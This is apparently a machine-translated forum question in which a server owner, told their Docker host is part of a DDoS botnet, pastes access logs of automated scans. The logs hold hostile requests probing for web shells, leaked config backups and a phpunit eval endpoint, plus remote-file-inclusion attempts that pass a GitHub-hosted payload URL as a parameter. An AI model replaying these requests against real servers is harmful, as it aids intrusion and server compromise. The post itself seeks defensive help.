通过获取请求 (ddos) 成为僵尸网络的 docker 容器部分答案

【问题标题】：docker container part of botnet via get requests (ddos)通过获取请求 (ddos) 成为僵尸网络的 docker 容器部分
【发布时间】：2021-12-21 23:06:20
【问题描述】：

您好，我从提供商那里收到一条消息，说我的服务器是 ddos-botnet 的一部分。所以我调查了我的 docker 容器，发现了一些损坏的容器（jitsi-meet-web (https://github.com/jitsi/docker-jitsi-meet)、nextcloud (https://hub.docker.com/_/nextcloud) 和一个 nginx 容器 (https://hub.docker.com/_/nginx)）。有人试图通过 GET 请求注入不安全的 wordpress 文件。

我的问题是：这怎么可能？我可以做些什么来防止这种情况再次发生？

Jira、Confluence 和 Oracle DB & Ords 的容器干净/良好。

我的服务器作为反向代理运行。

日志：

172.17.0.1 - - [16/Sep/2021:18:09:05 +0000] "GET /style.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64 ; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:10 +0000] "GET /moduless.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:14 +0000]“GET /wp-content/plugins/t_file_wp/t_file_wp.php?test=hello HTTP/1.1”404 556“anonymousfox.co”“ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:18 +0000] "GET /admin.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:22 +0000] "GET /index.php?3x=3x HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:24 +0000] "GET /boom.php?x HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:27 +0000] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 像 Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:31 +0000] "GET /wp-content/db_cache.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:36 +0000] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/ 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 像 Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:39 +0000] “GET /xmlrp.php?url=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1” 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:42 +0000] "GET /wpindex.php?idb=https://raw.github usercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari /537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:47 +0000] "GET /larva.php?idb=https://raw.github usercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari /537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:52 +0000] "GET /th3_err0r.php?php=https://raw.github usercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari /537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:56 +0000] "GET /alfindex.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:09:58 +0000] "GET /alfa.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:10:07 +0000] "GET /wp-booking.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:10:11 +0000] "GET /cindex.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:10:17 +0000] "GET /wp-content/wp-1ogin_bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 像 Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:10:21 +0000] "GET /wp-1ogin_bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:10:26 +0000] "GET /wp-includes/fonts/css.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 像 Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:10:32 +0000] "GET /wp-includes/css/css.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 像 Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:10:37 +0000] "GET /old-index.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:10:43 +0000] "GET /config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:10:48 +0000] "GET /wp-admin/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 像 Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:10:51 +0000] "GET /wp-content/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 像 Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:10:56 +0000] "GET /wp-includes/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 像 Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:01 +0000] "GET /wp-content/themes/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 ( Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:05 +0000] "GET /wp-content/plugins/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 ( Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:13 +0000] "GET /wp-includes/css/wp-config.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 ( Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:17 +0000] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 ( Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:21 +0000]“GET /wp-includes/wpconfig.bak.php?act=sf HTTP/1.1”404 556“anonymousfox.co”“Mozilla/ 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 像 Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:25 +0000] "GET /wp-content/plugins/wpconfig.bak.php?act=sf HTTP/1.1" 404 556 "anonymousfox.co" " Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:29 +0000] "GET /haders.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:32 +0000] "GET /wp-content/wp-old-index.php?action=login&pass=-1&submit= HTTP/1.1" 404 556 "anonymousfox .co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:39 +0000] "GET /legion.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:43 +0000]“GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1”404 556“anonymousfox.co”“ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:48 +0000] "GET /wp-includes/lfx.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:53 +0000] "GET /wp-includes/small.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:56 +0000] "GET /up.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:11:59 +0000] "GET /upload.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:12:03 +0000] "GET /config.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:12:05 +0000] "GET /test.php?Ghost=send HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:12:09 +0000] "GET /wp-content/langar.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:12:12 +0000]“GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1”404 556“anonymousfox.co " "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:12:17 +0000]“GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1”404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 172.17.0.1 - - [16/Sep/2021:18:12:22 +0000] “GET /wp-content/plugins/wpdiscuz/themes/default/style-rtl.css HTTP/1.1”404 556 “anonymousfox.co " "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7" 107.189.3.183 - - [16/Sep/2021:18:42:21 +0000] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 154 "-" "python-requests/2.6. 0 CPython/2.6.6 Linux/2.6.32-754.35.1.el6.x86_64" "-"

198.98.55.220 - - [10/Oct/2021:09:13:11 +0000] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 154 "-" "python-requests /2.6.0 CPython/2.6.6 Linux/2.6.32-754.35.1.el6.x86_64" "-" 172.17.0.1 - - [10/Oct/2021:09:15:43 +0000] "GET /wp-admin/css/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64 ; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19" 172.17.0.1 - - [10/Oct/2021:09:15:55 +0000] "GET /.well-known/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19" 172.17.0.1 - - [10/Oct/2021:09:16:09 +0000] "GET /sites/default/files/HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64 ; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19" 172.17.0.1 - - [10/Oct/2021:09:16:30 +0000] "GET /admin/controller/extension/extension/HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19" 172.17.0.1 - - [10/Oct/2021:09:16:41 +0000] "GET /uploads/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit /537.36（KHTML，如 Gecko）Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19" 172.17.0.1 - - [10/Oct/2021:09:16:50 +0000] "GET /images/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit /537.36（KHTML，如 Gecko）Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19" 172.17.0.1 - - [10/Oct/2021:09:17:02 +0000] "GET /files/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit /537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"

【问题讨论】：

如果没有看到您的应用程序代码，很难给出非常通用的建议。我在 SO 上看到的两个最常见的 Docker 东西是设置非 root 用户但授予他们无限 sudo 权限的图像，以及设置非 root 用户但 chown 所有代码的图像归该用户所有；在某些情况下，这两者都允许应用程序覆盖自己的代码。
感谢此信息，我将 repo url 添加到我的文本中。我会跟进这些线索。我可以假设用户/系统端可能存在权限问题？也许也在文件夹方面？我已经在本地系统上安装了 Docker 容器的所有重要卷。也许我之后更改了一些权限？这可能是问题吗？我只是问，因为我正在寻找一个确切的线索。 ;)

标签： docker get code-injection ddos botnet